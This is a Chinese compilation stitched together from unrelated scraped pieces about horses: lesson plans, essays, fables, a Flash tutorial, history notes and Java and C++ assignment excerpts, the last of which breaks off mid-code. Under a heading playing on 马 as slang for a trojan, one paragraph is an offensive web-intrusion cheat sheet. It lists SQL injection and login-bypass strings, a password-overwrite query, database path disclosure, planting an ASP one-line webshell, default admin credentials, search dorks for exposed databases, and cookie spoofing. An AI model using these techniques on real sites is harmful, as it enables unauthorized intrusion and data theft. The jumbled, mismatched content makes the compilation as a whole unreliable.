如何编写马
小学二年级马教案的编写技巧与方法
小学二年级马教案的编写技巧与方法小学二年级的学生在学习马知识方面需要掌握一些基本的知识点和技能,这其中就需要教师根据学生的实际情况来编写合适的教案。
那么,本文就针对小学二年级马教案的编写技巧与方法进行一一介绍。
要编写一份好的教案,首先就需要明确教学内容以及教学目标。
小学二年级的学生刚刚接触到马的知识,许多学生还对马的名称、外形等基本的概念不太熟悉,教师在编写教案时需要考虑到这一点,逐步引导学生学习。
例如,在学习马的饲养方面,可以从了解马的基本信息开始,了解马的品种、身体特征、食性、生活习性等方面,以此来引导学生逐渐了解马的生态环境及其生活方式。
在编写教案时,需要遵循一定的教学方法,让学生能够更好地理解知识并掌握技能。
例如,在学生对于马的基本信息有一定的了解之后,可以采用演示教学法和问答法相结合的形式进行。
先由教师进行马的外形和部位的演示,并针对马的各个部位进行提问,让学生在思考中逐渐掌握马的特征和名称,这种方式可以激发学生的学习兴趣和积极性。
在教案的编写过程中,需要注重时序安排和多方面学习。
时序安排是指根据学生的认知能力和学习时间安排合理的教学步骤和时间,不仅要保证内容充实、生动,还需要时刻关注学生的综合素质和能力的培养,例如,运用教学案例、图文结合等形式,引导学生关注马的攻击能力、耐力和速度等方面的特点。
同时,多方面学习意味着从不同方面去引导和教育学生,教育学生换位思考,创意思维以及强化记忆,比如扩大阅读、合理处置日常生活中的问题等,作为教师的我们需要创造性地思考如何让班级的同学们一起讨论,从而同时发展他们的社交技能和思考能力。
此外,小学二年级的学生在学习中也需要注重关注他们的心理和认知特点,教师可以根据学生的习惯和学习特点,设置新的教育方式,如配套视频课程、在线交流网站等,让学生可以在家中有有利的方式进行复习和加强学习。
同时也可以让学生参与一些亲身体验活动,如实地考察、小实验、模拟教学等等。
描写马的作文开头
描写马的作文开头
在田野上,一匹骏马傲然挺立,它的身姿优雅矫健,四蹄踏在青草地上,仿佛下一刻就要奔腾而去。
阳光照在它光滑的皮毛上,闪耀着光泽,如同一件华美的丝绸。
它高高昂起头颅,鼻孔微张,似乎在嗅着远方的芳香。
它那双黑亮的眼睛,流露出一股孤傲不驯的神态。
马儿身材高大挺拔,肌肉紧绷有力。
它的脖颈修长优美,在微风中微微扬起,像一柄利剑直指云霄。
马尾在身后飘扬,宛如一面招展的旗帜。
它站立的姿态,散发出一股王者的威仪,让人不由得心生敬畏。
这就是大自然赐予我们的宝贵馈赠,一匹力与美的杰出代表。
马儿身上凝聚着人类对力量和速度的无限向往,承载着无数个美好的梦想...。
三年级怎样编写童话故事(6篇)
三年级怎样编写童话故事(6篇)第一部分:小马[300字]周_星期天,阳光明媚,蓝天上漂浮着像棉花一样的白云。
小马的大米大丰收,马妈就让小马背一袋大米去外婆家。
小马高兴地出发了,一边跑一边欣赏风景,跑着跑着感觉更放松了。
突然,后面传来兔子焦急的叫声:“小马小马,快停下来,你的米袋破了一个洞,米洒了,后面有一条‘米路’!”小马赶紧转过头看了看。
“哦,我的上帝,我的米饭!这可怎么办?”小马急得快要哭了。
兔子安慰道:“放心吧,我们一起想想办法。
”这时,兔子摸了摸口袋。
“有办法!我有块手帕,可以当绳子绑洞。
”小马小心地蹲下身子。
兔子来扎米袋,就像在米袋上扎猪尾巴一样。
看起来很可爱。
小马赶紧谢过兔子:“谢谢你,兔子,没有你的提醒和帮助,米会漏出来的!”兔子高兴地说:“不客气。
再见。
我要去田里帮妈妈收白菜。
”“好吧,我送你一程吧!”小马真诚地问。
兔子们骑在马背上,开始有说有笑。
好朋友互相帮助是多么幸福啊!第二部分:值班小马[300字]邹新艳_在森林学校,猪、鹿、兔子、小马、松鼠都是同学。
有一天,轮到小马值日,但刚放学,小马就胃疼得厉害。
我看到他的手放在肚子上,脸色苍白,像个球,在地上打滚,尖叫着:“好痛,好痛!”猪见了,三步两步走到小马跟前说:“小马,你怎么了?你怎么了?我们送你去医院吧!”小马无力地说:“可是我今天值班。
我该怎么办?”兔子说:“没关系。
让我们帮你值日!”于是小猪抱起小马就往医院跑。
一路上,太阳发出数千道光芒,烤焦了大地。
走了没多久,猪累得满头大汗,汗流浃背,整个衣服都能拧出一桶水来。
教室里,我看到鹿手里拿着抹布擦窗台,兔子一手拿着扫帚,一手拿着簸箕扫地...过了一会儿,教室一尘不染。
第二天,小马康复了。
他回到教室,对同学们说:“谢谢你们昨天帮助了我。
”大家异口同声:“我们同学要互相帮助!”第三条:小猪糖果店[300字]王_多么漫长的一夜!小猪睡得很沉。
他做了一个甜美的梦。
他梦见自己长出了由糖丝制成的翅膀。
图片马制作指导
点击/460711201/blog/147查看总结篇! 最后附上总结的 1.上传漏洞[不多讲] pS: 如果看到:选择你要上传的文件 [重新上传]或者出现"请登陆后使用",80%就有漏洞了! 有时上传不一定会成功,这是因为Cookies不一样.我们就要用WSockExpert取得Cookies.再用DOMAIN上传. 2.注入漏洞[不多讲] pS:对MD5密码.有时我们不是哪么容易跑出来.如果是[SQL数据库].那么我们可以用以下命令: http://注入网址;update admin set password=\新MD5密码\ where password=\旧MD5密码\-- [admin为表名.] 3.旁注,也就是跨站. 我们入侵某站时可能这个站坚固的无懈可击,我们可以找下和这个站同一服务器的站点,然后在利用这个站点用提权,嗅探等方法来入侵我们 要入侵的站点。,在这里有个难点,就是一些服务器的绝对路径经过加密,这就看我们的本事了 4.暴库:把二级目录中间的/换成%5c EY:/otherweb/dz/bgs/BigClass.asp?BigClassName=职责范围&BigClassType=1 如果你能看到:\E:ahttc040901otherwebdzdatabaseiXuEr_Studio.asa\不是一个有效的路径。 确定路径名称拼写是否正确,以及是否 连接到文件存放的服务器。 这样的就是数据库了。下载时用FLASHGET换成.MDB格式的就行. 5.\or\=\or\台。我收集了一下。类似的还有: \or\\=\ " or "a"="a \) or (\a\=\a ") or ("a"="a or 1=1-- \ or \a\=\a 6.社会工程学。这个我们都知道吧。就是猜解。 EY:/waishi/admin admin waishi 7.写入ASP格式数据库。就是一句话木马[ ],常用在留言本. EY:/ebook/db/ebook.asp[这个就是ASP格式的数据库],再写入一句话木马 8.源码利用:一些网站用的都是网上下载的源码.有的站长很菜.什么也不改. EY:/xiaoyoulu/index.asp 这个站用的是:杰出校友录,源码我下过了, 默认数据库/webshell路径:databaseliangu_data.mdb 后台管理:adm_login.asp 密码及用户名都是admin 9.默认数据库/webshell路径利用:这样的网站很多/利人别人的WEBSHELL. /Databackup/dvbbs7.MDB /bbs/Databackup/dvbbs7.MDB /bbs/Data/dvbbs7.MDB /data/dvbbs7.mdb /bbs/diy.asp /diy.asp /bbs/cmd.asp /bbs/cmd.exe /bbs/s-u.exe /bbs/servu.exe 工具:网站猎手 挖掘鸡 EY:/bbs/Databackup/dvbbs7.MDB 10.查看目录法:人一些网站可以断开目录,可以方问目录。 EY:/shop/admin/ /babyfox/admin/%23bb%23dedsed2s/ 这样我们可以找到数据库,下载不用我教吧 11.工具溢出:.asp?NewsID= /2j.asp?id=18 .asp?id=[这种方法可以取得大量的WEBSHELL] 12.搜索引擎利用: (1).inurl:flasher_list.asp 默认数据库:database/flash.mdb 后台/manager/ (2).找网站的管理后台地址: site:intext:管理 site:intitle:管理 site:inurl:login (3).查找access的数据库,mssql、mysql的连接文件 allinurl:bbsdata filetype:mdbinurl:database filetype:incconn inurl:datafiletype:mdb 我主不做了。。自已做做吧。。 13.COOKIE欺骗: 把自己的ID修改成管理员的,MD5密码也修改成他的,用桂林老兵工具可以修改COOKIE。这个我就不多讲了 14.利用常见的漏洞:如动网BBS EY:/bbs/index.asp 可以先用:dvbbs权限提升工具,使自已成为前台管理员。 THEN,运用:动网固顶贴工具,找个固顶贴,再取得COOKIES,这个要你自已做。我们可以用WSockExpert取得Cookies/NC包 这个我就不做了,网上教程多的是,自已下个看看。 工具:dvbbs权限提升工具 动网固顶贴工具 15.还有一些老漏洞。如IIS3,4的查看源码,5的delete CGI,PHP的一些老洞,我就不说了啊。。太老了。没有什么大用途
FLASH CS4 实战项目——制作草原之马
FLASH CS4 实战项目——制作草原之马在Flash中,通过使用时间轴上的帧,可以制作出更精彩、更动人的动画。
例如,人向前走、蝴蝶飞、由圆形变成方形等等。
在时间轴上可以插入关键帧、空白关键帧和普通帧三种类型的帧。
下面主要通过使用关键帧,制作出马在草原上奔跑的简单动画,如图2-36所示。
图2-36 草原之马效果图(1)新建空白文档,设置其【尺寸】为550×300像素。
然后,执行【文件】|【导入】|【导入到舞台】命令,导入“背景”图像,如图2-37所示。
图2-37 导入“背景”图像(2)执行【文件】|【导入】|【导入外部库】命令,打开【库-奔跑马动画.FLA】面板,如图2-38所示。
图2-38 导入外部库(3)按Ctrl+F8快捷键,打开【创建新元件】对话框,并设置相关参数,如图2-39所示。
图2-39 新建【影片剪辑】元件(4)在“奔跑之马”元件的编辑模式下,选择“图层1”的第一帧,从【库-奔跑马动画.FLA】中将“马”元件拖至舞台,并移至舞台左侧,如图2-40所示。
图2-40 为第1个关键帧添加图像(5)选择第160帧,执行【插入】|【时间轴】|【插入关键帧】命令(或按F6快捷键),插入第2个关键帧,并将图像移至舞台右侧,如图2-41所示。
图2-41 创建关键帧(6)右击第1帧,执行【创建传统补间】命令,创建补间动画,如图2-42所示。
图2-42 创建传统补间(7)右击“图层1”,执行【添加传统运动引导层】命令,创建引导层。
选择引导层的第1帧,使用【线条工具】绘制一条直线,然后使用【选择工具】将其转换成曲线,如图2-43所示。
图2-43 创建引导层(8)选择第160帧,执行【插入】|【时间轴】|【插入帧】命令(或者按F5快捷键)。
然后,将补间动画的两个关键帧与引导线的两个端点绑定,如图2-44所示。
图2-44 将关键帧与端点绑定(9)单击【场景1】,返回舞台。
新建图层并重命名为“马”。
马工程教材编写方案
马工程教材编写方案一、前言马是人类最早驯化的动物之一,自古以来就被广泛用于农耕、运输、战争和休闲娱乐等方面。
随着社会的发展和科技的进步,人们对马的利用方式也在不断演变和改进。
因此,编写一部完整、系统的马工程教材对于培养和提高相关人才的专业水平具有重要意义。
二、教材编写的背景和意义1. 马工程是一个综合性学科,涉及动物科学、畜牧养殖、畜牧经济、生态环境等多个领域,因此需要系统性的教材进行指导。
2. 马工程教材的编写可以帮助学生建立起对马的生理特点、营养需求、疾病防治、驯良训练等方面的系统认识,为将来从事相关职业打下坚实的基础。
3. 编写马工程教材有助于吸引更多的学生投身到这个领域,促进这一行业的发展。
三、教材编写的基本原则1. 紧密联系实际:教材的编写要结合当今马业发展的实际情况,紧密联系生产、生活、科研等领域的需求,突出实用性和针对性。
2. 综合性和系统性:在对马工程学科的内容进行归纳整理时,要全面、系统、深入地描述和分析,做到知识体系的完整性和连贯性。
3. 前瞻性和可持续性:教材编写要具有一定的前瞻性,能够预测未来马业发展的方向和趋势,并具有一定的可持续性,适应未来一定时期内的发展需要。
4. 学科交叉和综合性:马工程学科是一个综合性学科,编写的教材中可以涵盖动物医学、兽医学、畜牧养殖、草业科学等多个学科的交叉内容。
四、教材编写的内容和框架1. 第一章马的起源和分类:介绍马的演化历史、品种分类、生理特点等内容。
2. 第二章马的饲养管理:包括马的饲养技术、饲料营养、饮水管理、马舍建设等内容。
3. 第三章马的疾病防治:包括常见疾病的防治和诊断、免疫规划、卫生管理等内容。
4. 第四章马的繁殖与繁育:包括马的配种技术、胎儿发育、马驹的护理等内容。
5. 第五章马的驯养和训练:包括马的驯化技术、训练方法、骑术技巧等内容。
6. 第六章马的运输与运动:包括马的运输技术、运动训练、比赛管理等内容。
7. 第七章马的饲养经济:包括马业的市场分析、养马企业管理、经济效益评估等内容。
战国 马 写法 -回复
战国马写法-回复战国时期是中国历史上的一个重要时期,这个时期经历了多次战争,其中马在战争中起到了重要的作用。
下面将以“战国马写法”为主题,一步一步回答,介绍战国时期马的种类、用途、培育方式,以及马对战争的影响等内容。
一、战国时期的马种类:战国时期,中国马种主要分为四种:骉(biāo)、骊(lí)、雁行(yàn xíng)和矮稚(ǎi zhì)。
骉是高大威猛的战马,适合用于骑兵,拥有较快的速度和强大的力量;骊则是身材矮小但持久耐力强的驽马,适合在艰难的山区或恶劣的环境下进行运输;雁行是一种适应平原作战的中等身材、速度较快的马种,常用于辎重马匹或轻骑兵;矮稚则是比较矮小但非常机敏的马种,适合用于山地或森林等特殊地形的作战。
二、战国时期的马用途:在战国时期,马起到了非常重要的作用。
战国诸国常常使用马作为军事交通工具和骑兵单位,马拉车辆可以增加军队的机动性和运输能力,而骑兵则可以快速进攻或追击敌人。
同时,马还广泛用于农业生产,作为耕牛、车马和运输工具,提高了农业生产的效率和农民的生活水平。
三、战国时期马的培育方式:在战国时期,马的培育是一项重要的工作。
首先,人们选择优秀的种马和母马进行交配,以确保后代马的品质和体格。
其次,人们对幼驹进行精心的喂养和训练,提高马的体力和耐力。
战国时期的马养殖有自然放牧和人工饲养两种方式。
在自然放牧中,马可以在广阔的草原和山区中自由活动和觅食,这样可以增加马的运动量和腿部力量。
在人工饲养中,人们为马提供丰富的饲料,并进行马匹的日常护理和训练,以保持马的身体健康和品质。
四、马对战争的影响:战国时期的战争中,骑马出征成为了各国常见的战术手段。
骑兵的快速机动性和攻击力让他们在战争中具有重要的作用。
骑兵可以进行突袭和击溃敌军,也可以追杀逃跑的敌人,给敌军造成沉重的打击。
同时,骑兵还可以在战争中执行侦查、远程袭击等任务,为自己的国家提供战争情报和军事优势。
写一篇关于马的英文作文
写一篇关于马的英文作文Horses have been a significant part of human history for centuries. They are known for their strength, beauty, and grace, and have played crucial roles in transportation, agriculture, sports, and even therapy.马已经成为人类历史上一个重要的组成部分几个世纪了. 他们以他们的力量,美丽和优雅而闻名,并在交通,农业,体育甚至治疗中发挥着至关重要的作用。
Horses have been domesticated by humans for thousands of years, serving as loyal companions and reliable modes of transportation. Whether used for plowing fields, carrying soldiers into battle, or simply for recreational riding, horses have been indispensable to human civilization.马被人类驯化已经几千年了,他们是忠实的伙伴和可靠的交通工具。
无论是用于犁地,护送士兵进入战场,还是仅仅用于娱乐骑行,马已经成为人类文明中不可或缺的存在。
The bond between humans and horses is a unique and special one. Many equestrians describe their horses as their best friends, confidants, and even therapists. The connection between a rider and their horse is based on trust, respect, and mutual understanding.人与马之间的联系是独特而特殊的。
写一篇关于马的英文作文
写一篇关于马的英文作文The horse, a majestic and powerful creature, has been a loyal companion to humans for centuries. With its graceful movements and strong physique, the horse has captured the hearts of people around the world. From its role in history as a mode of transportation and a vital part of agriculture, to its presence in sports and leisure activities, the horse holds a special place in the hearts of many.One of the most captivating aspects of the horse is its beauty. With its sleek coat, flowing mane, and expressive eyes, the horse is a sight to behold. Whether it isgalloping through a field or standing regally in a stable, the horse exudes a sense of grace and elegance that istruly captivating. It is no wonder that the horse has beena source of inspiration for artists, poets, and writers throughout the ages.Beyond its physical beauty, the horse also possesses a remarkable intelligence and sensitivity. Horses are knownfor their ability to form strong bonds with humans and other animals, and their intuitive nature allows them to pick up on the emotions of those around them. This makes them excellent companions and therapy animals, providing comfort and support to those in need. Their intelligence also makes them quick learners, and they are often used in various forms of equestrian sports and competitions, showcasing their agility and skill.In addition to their emotional and physical attributes, horses have played a crucial role in the development of human society. From ancient civilizations to modern times, horses have been used for transportation, agriculture, and warfare. Their strength and speed made them invaluable for carrying goods and people over long distances, plowing fields, and serving as cavalry in battles. The bond between humans and horses has been essential for the progress of civilization, and their contributions cannot be overstated.Furthermore, horses have also become a source of joy and recreation for people around the world. Equestrian sports, such as horse racing, show jumping, and dressage,have gained immense popularity, attracting participants and spectators alike. The thrill of watching a horse and rider navigate a challenging course or sprinting towards thefinish line is an experience like no other. Additionally, horseback riding has become a beloved pastime for many, providing a sense of freedom and connection with nature.Despite the many positive aspects of horses, it is important to acknowledge the challenges they face. Horses are vulnerable to various health issues, and they require proper care and attention to ensure their well-being. Additionally, the mistreatment of horses in industries such as racing and agriculture is a cause for concern, highlighting the need for better regulations and ethical treatment of these magnificent animals.In conclusion, the horse holds a special place in the hearts of people around the world. Its beauty, intelligence, and contributions to human society make it a truly remarkable creature. As we continue to cherish and appreciate the role of horses in our lives, it is essentialto ensure their welfare and protection for generations to come.。
关于马字的英语作文
关于马字的英语作文英文:Horses have always been a fascinating creature to me. Their beauty, strength, and grace have captivated my attention since I was a child. I remember the first time I rode a horse, I was filled with a sense of freedom and exhilaration that I had never experienced before. The way the horse moved beneath me, responding to my commands, made me feel like I was in complete control.I have always been drawn to the majesty of horses, and I have spent countless hours learning about them and their behavior. I have read books, watched documentaries, and even taken riding lessons to further my understanding of these incredible animals. One thing that has always amazed me is the bond that can form between a horse and its rider. It's almost as if the horse can sense your emotions and respond to them in a way that is truly remarkable.In addition to their physical beauty and strength, horses also have a rich cultural significance. In many cultures, horses are seen as symbols of power, freedom, and nobility. For example, in Chinese culture, the horse is one of the twelve zodiac animals and is associated with success and victory. In Western culture, horses have been revered throughout history as symbols of strength and courage.中文:马一直以来都是我非常着迷的动物。
编写马场安全应急教案
编写马场安全应急教案马场作为一个重要的场所,给乘马者和马匹提供了一个安全的活动环境。
然而,由于天气、意外事故和其他因素的影响,安全问题仍然存在。
为了保证马场和乘马者的安全,需要制定应急教案。
本文将介绍如何编写马场安全应急教案。
一、应急教案的目的马场安全应急教案的目的是为了保障马场、乘马者和马匹的安全。
教案制定是一个预防工作,其目的是在发生事故或事件时能够尽早地控制、缓解和解决问题,最大限度地减少伤害和损失。
二、应急教案的基础在编写马场安全应急教案之前,需要进行基础工作。
这些工作包括:1. 预先了解马场的情况,包括设施的位置和用途,员工和乘客的数量,马匹的数量和状况等。
2. 研究相关法规和规章制度,了解工作责任和要求。
3. 对可能发生的各种突发事件进行分析和预测,明确应对的措施和步骤。
三、应急教案的内容马场应急教案应包括以下内容:1. 应急机制马场应制定相应的应急机制。
在应急事件发生时,需要明确责任人,拟定应对措施,并及时通知相关部门和人员,加强协调和沟通。
2. 应急预案马场应制定相应的应急预案。
根据不同的事件类型,制定不同的预案,包括灾害应急预案、意外事故应急预案、病害应急预案等。
3. 紧急处置措施在应急事件发生时,需要采取紧急处置措施,减少损失和伤害。
马场应制定相应的紧急处置措施,包括人员疏散、急救、关闭设施等。
4. 应急演练定期进行应急演练是保障马场安全的重要手段之一。
马场应定期组织应急演练,以检验应急预案的有效性和完整性,并提高人员的应急能力和反应能力。
四、应急教案的实施马场应在教案编制后,及时进行宣传和培训,加强员工和乘客的意识和素质。
在日常管理中,注重安全工作,积极预防和减少风险。
在应急事件发生时,应按照教案的要求和步骤进行处理,保障人员和物质安全。
五、教案的修订和更新马场应定期进行应急教案的修订和更新。
在实际应急工作中,可能会出现新的情况和变化,这就需要不断地修订和更新应急教案,以保证其有效性和适用性。
骑马游戏编程实现
骑马游戏编程实现骑马游戏是一种受欢迎的游戏类型,玩家可以在虚拟世界中体验骑马的乐趣。
本文将介绍骑马游戏编程的实现方法,帮助读者了解其中的技术原理和步骤。
一、游戏引擎选择在开始编写骑马游戏前,我们首先需要选择一个适合的游戏引擎作为开发工具。
常见的游戏引擎有Unity、Unreal Engine等,它们提供了丰富的功能和插件,可以加速开发过程。
二、创建游戏场景在选择好游戏引擎后,我们可以开始创建游戏场景。
骑马游戏通常需要包含马匹、地形、障碍物等元素。
通过游戏引擎提供的工具,我们可以轻松地导入模型、设置材质,并对场景进行设计和编辑。
三、马匹动画控制为了实现逼真的骑马体验,我们需要对马匹的动画进行控制。
通过游戏引擎提供的动画系统,可以为马匹创建奔跑、跳跃、停止等动作,并设置过渡效果,以使动画过渡自然流畅。
四、玩家控制与交互玩家操控角色骑马进行游戏,我们需要实现玩家的控制与交互功能。
通过编程,可以让玩家通过键盘、手柄或触摸屏来控制马匹的移动、跳跃等操作。
同时,还可以实现与场景中其他元素的交互,比如收集物品、攻击怪物等。
五、景观渲染与光照效果为了提升游戏的视觉效果,我们需要对景观进行渲染,并添加适当的光照效果。
通过游戏引擎提供的渲染器和光源组件,可以实现绚丽的天空、真实的光照和阴影效果,增强游戏的沉浸感。
六、音效与背景音乐音效和背景音乐是游戏中不可或缺的一部分,为游戏增添了氛围和乐趣。
我们可以使用游戏引擎提供的音频组件,导入音效和音乐文件,并通过编程控制其播放和停止。
七、游戏逻辑与算法骑马游戏中的各种逻辑和算法决定了游戏的玩法和规则。
比如,我们可以实现一个追踪算法,让马匹自动追踪特定目标;或者设计一个随机生成算法,生成不同的地形和障碍物。
通过编程,我们可以实现这些复杂的逻辑和算法,让游戏更加有趣。
八、优化与测试编写完骑马游戏后,我们需要进行优化和测试,以确保游戏的稳定性和流畅性。
通过优化代码、调整参数和测试性能,可以提升游戏的帧率、减少卡顿现象,并解决潜在的bug和问题。
马字偏旁童谣教案
马字偏旁童谣教案教案标题:通过童谣学习马字偏旁教学目标:1. 了解马字偏旁的形状和基本笔画结构。
2. 认识并掌握马字偏旁的常见字词。
3. 通过童谣学习,提高学生对马字偏旁的记忆和理解。
教学资源:1. 童谣《小马过河》视频或CD2. 马字偏旁的教学材料(包括形状和基本笔画结构)3. 单个字词卡片,包括马字偏旁的字词教学过程:引入活动:1. 导入童谣:播放《小马过河》的视频或CD,让学生跟随童谣的节奏拍手或摇头。
导入知识:2. 教师展示马字偏旁的形状和基本笔画结构,引导学生观察和讨论。
让学生指出马字偏旁在哪些字中出现,如“马”、“骑”、“骏”等。
3. 教师出示一些马字偏旁的字词卡片,让学生逐个认读,并进行操练。
活动一:填马字偏旁4. 将一些马字偏旁的字词卡片混合放在桌上。
学生们依次到桌上选取一张卡片,填入“马”字偏旁。
5. 学生们将填好的卡片互相交换,检查并矫正错误。
活动二:童谣填空6. 将童谣《小马过河》的歌词制作成填空形式的工作纸,其中空白处是马字偏旁的字词。
学生根据韵律和上下文的意思,填入适当的字词。
7. 学生们在小组内分享填空结果,并进行讨论和辩论。
活动三:编写新童谣8. 学生们分为小组,每组编写一个关于马字偏旁的童谣。
要求童谣中至少包含三个带有马字偏旁的词语。
9. 学生们在小组内互相表演自己编写的童谣,并进行评价和改进。
巩固练习:10. 教师进行相应的口头、书面练习或游戏,加深学生对马字偏旁的记忆和理解。
课堂总结:11. 教师向学生复习全课的内容,并强调马字偏旁的形状、基本笔画结构以及常见字词。
12. 学生们一起回顾所学内容,分享他们在学习中的收获和体会。
拓展活动:13. 要求学生在日常生活中,观察并记录出现马字偏旁的字词,形成马字偏旁的小词典。
教学评估:1. 观察学生在填马字偏旁和填空童谣活动中的表现。
2. 收集学生编写的童谣,评估学生对马字偏旁的掌握程度。
3. 书面练习或游戏等方式对学生进行课堂巩固练习。
兴安盟畜牧工作站马品种资源普查实施方案
兴安盟畜牧工作站马品种资源普查实施方案实施目的:
为了全面了解兴安盟马品种资源及其分布、数量、主要特征和
利用状况,为保护马品种资源提供科学依据,为兴安盟畜牧业的可
持续发展提供依据。
实施内容:
1.确定调查对象:调查对象为兴安盟马种,包括本地马种和引
进马种。
2.制定调查方法:采用调查问卷配合实地调查的方式进行调查。
问卷主要包括以下内容:
(1)马品种的名称、特征、体型大小、产区和用途等基本信息;
(2)马品种的数量、分布和保护状况;
(3)马品种的繁殖、饲养、利用和流通等情况。
3.实施调查:
(1)确定调查时间和调查区域;
(2)组织调查人员进行实地调查,并采用调查问卷进行数据收集;
(3)记录调查数据并整理分析。
4.报告编制:
(1)按照调查实施情况编写调查报告,包括马品种资源现状分析、存在问题及建议等内容;
(2)将调查结果向相关部门进行反馈,提出保护马品种资源的
建议。
实施步骤:
1.确定调查项目,明确调查目的和内容。
2.制定调查方案和调查问卷。
3.组织调查人员和实施调查。
4.整理分析调查数据,编写调查报告。
5.将调查结果反馈到相关部门,并提出保护马品种资源的建议。
实施保障:
1.组织调查人员,确保调查的准确性和科学性。
2.制定严格的调查标准和流程,保证调查结果的可比性。
3.做好调查数据的保密工作。
4.加强宣传教育,提高农民对马品种资源保护的意识。
5.加强科学研究,为马品种资源保护提供技术支撑。
马的英文作文范文
马的英文作文范文英文:As a horse, I have a lot to say about myself. First of all, I am a mammal and belong to the Equidae family. I have a strong, muscular body, and my coat can be of different colors, such as brown, black, white, or grey. I have four legs, which are adapted for running and jumping. I can run very fast, up to 55 miles per hour, and I can jump over obstacles that are as high as 6 feet.One of the things that I am most proud of is my intelligence. I am a very smart animal, and I can learn many tricks and commands. For example, I can learn to walk, trot, canter, and gallop on command, and I can also learn to jump over obstacles or perform other tricks. My intelligence also helps me to adapt to different situations and environments. For example, if I am in a new place, I can quickly learn where the food and water sources are, and I can also learn to avoid dangerous areas.Another thing that I love about myself is my social nature. I am a very social animal, and I love to be around other horses. I have a strong bond with my herd, and we communicate with each other through various sounds and body language. For example, if I am feeling threatened, I might snort or stomp my feet to warn the others. If I am feeling playful, I might nudge another horse with my nose or chase them around the field.中文:作为一匹马,我有很多话要说。
java课程设计-马匹赛跑
在比赛的界面,使用的是BorderLayout布局,采用了按钮、面版等组件。按钮的功能包括开始和重新开始,点击开始,比赛就会开始,等到马匹都跑到终点,点击重新开始,比赛到达终点的马匹就会重新回到起点,然后点击开始,比赛就会重新开始。并且为按钮设置了监听器,点击按钮就会触发监听器,执行相应的动作。
*/
public long getStart() {
return start;
}
/**
* param start设置比赛开始时间
*/
public void setStart(long start) {
this.start = start;
}
/**
* return返回long型,得到比赛结束时间
*/
public long getEnd() {
+" isLive ="+this.getIsLive());
synchronized (this) {//操作共享数据引入同步
if(this.getX()>=1200){
this.setEnd(System.currentTimeMillis());
this.setIsLive(false);
++Horse.rank;
} catch (InterruptedException e) {
e.printStackTrace();
}
this.speed = rand.nextInt(15);
x += this.speed;
this.setX(x);
System.out.println(Thread.currentThread()+" x ="+this.getX()+" y ="+this.getY()
java课程设计-马匹赛跑
在比赛的界面,使用的是BorderLayout布局,采用了按钮、面版等组件。按钮的功能包括开始和重新开始,点击开始,比赛就会开始,等到马匹都跑到终点,点击重新开始,比赛到达终点的马匹就会重新回到起点,然后点击开始,比赛就会重新开始。并且为按钮设置了监听器,点击按钮就会触发监听器,执行相应的动作。
Horse.sbf.append(Thread.currentThread().getName()+"名次为:"+Horse.rank).append("\n花费的时间为:"+str+" s \n");
if(Horse.rank == MyHorseRacing.horsNum){
JOptionPane.showMessageDialog(null, Horse.sbf, "比赛成绩", RMATION_MESSAGE,this.icon);
* @param x设置马的横坐标
* @param y设置马的纵坐标
*/
public Horse(int x, int y) {
super();
this.x = x;
this.y = y;
}
/**
* @return返回int型,得到马的横坐标x
*/
public int getX() {
return x;
1.3马匹的实现方法
写了一个马匹的类,用来封装马匹的属性。包括马匹的速度、坐标、是否存活、是否开始比赛、是否完成比赛等属性。每匹马的速度不是固定的,通过一个随机函数来实现马匹在整个过程中的动态速度。一开始马匹的坐标是固定的。初始化马匹是存活的,是开始准备比赛。通过这样的一个类来封装马匹的属性,更加便于我们管理。
马的遍历VC++课程设计报告
课程设计报告学院、系:专业名称:网络工程课程设计科目VC++程序课程设计学生姓名:指导教师:完成时间:2010年9月-11月解骑士巡游问题一、设计任务与目标国际象棋中马采用“日”字走法,对棋盘上马所在的结点,一步内到达的结点最多有八个,即假设马所在点的坐标为(i,j),那么其它八个结点的坐标为(i+1,j+2),(i+2,j+1),(i+2,j-1),(i+1,j-2),(i-1,j-2),(i-2,j-1),(i-2,j+1),(i-1,j+2)把这些点看作马所在点的邻接点,所以可以采用类似图的深度优先遍历,以马所在点为初始点对整个棋盘进行遍历。
然后按遍历的顺序输出结点棋盘的规格限制为8*8,输入数据为起始点的位置(0-7)。
输出数据为可以遍历成功的若干方案(本程序设置为至多八种)。
二、方案设计与论证解决马的遍历问题,可以用一个二维数组board[][]来表示棋盘,一开始用来存放步骤号,若走过了则把它赋值为1。
另对马的8种可能走法设定一个顺序,如当前位置在棋盘的(i,j)方格,下一个可能的位置依次为(i+2,j+1)、(i+1,j+2)、(i-1,j+2)、(i-2,j+1)、(i-2,j-1)、(i-1,j-2)、(i+1,j-2)、(i+2,j-1),实际可以走的位置尽限于还未走过的和不越出边界的那些位置。
为便于程序的同意处理,可以引入两个数组mover[]、movec[],分别存储各种可能走法对当前位置的纵横增量。
整形变量step存放步骤号,start存放遍历次数,在numable函数和number函数中的语句k=(i+start)%N;中是用于定位,保证不会超过棋盘范围和八次遍历都不会走同样的路径test存放遍历成功次数。
在8×8方格的棋盘上,从任意指定的方格出发,为马寻找一条走遍棋盘每一格并且只经过一次的一条路径。
程序框图或流程图,程序清单与调用关系调用调用函数调用关系2.重要模块(next模块)的流程图: 否图2.2 流程图三、全部源程序清单#include<iostream.h>#include<iomanip.h>#include<stdlib.h>#define N 8//棋盘行列数#define INF 9999999int mover[]={-2,-1,1,2,2,1,-1,-2};//用来表示要走向该i行,需要移动的格子数int movec[]={1,2,2,1,-1,-2,-2,-1};//用来表示要走向该j列,需要移动的格子数class qi{private :int board[N+1][N+1];//用于保存走的次序int start;//测试次数int ber,bec;//用于保存输入(初始)的行列int step;//走的步数int test;//可以遍历成功的次数int r,c;//当前行列值int i,j;//循环变量int k;//下次可以查找的增量的个数public :qi();qi(int a,int b);int next(int r, int c);int numable(int r,int c,int nexta[]);//返回下次可以查找的增量int number(int r,int c);//返回下次可以查找的增量的个数bool begin(int a,int b);void set(int a,int b);};qi::qi(int a,int b){ber=a;bec=b;}qi::qi(){}void qi::set(int a,int b){ber=a;bec=b;}int qi::next(int r,int c){int nexta[20],num,num1=0,minnum,i,k;minnum=INF;//初始化minnumnum=numable(r,c,nexta);//下次可以查找的增量if(num==0)return -1; //没有出口for(i=0;i<=num-1;i++)//预测路径{num1=number(r+mover[nexta[i]],c+movec[nexta[i]]);if(num1<=minnum){minnum=num1;k=nexta[i];//存放预测路径中的格子}}return k;//出口为k}bool qi::begin(int a,int 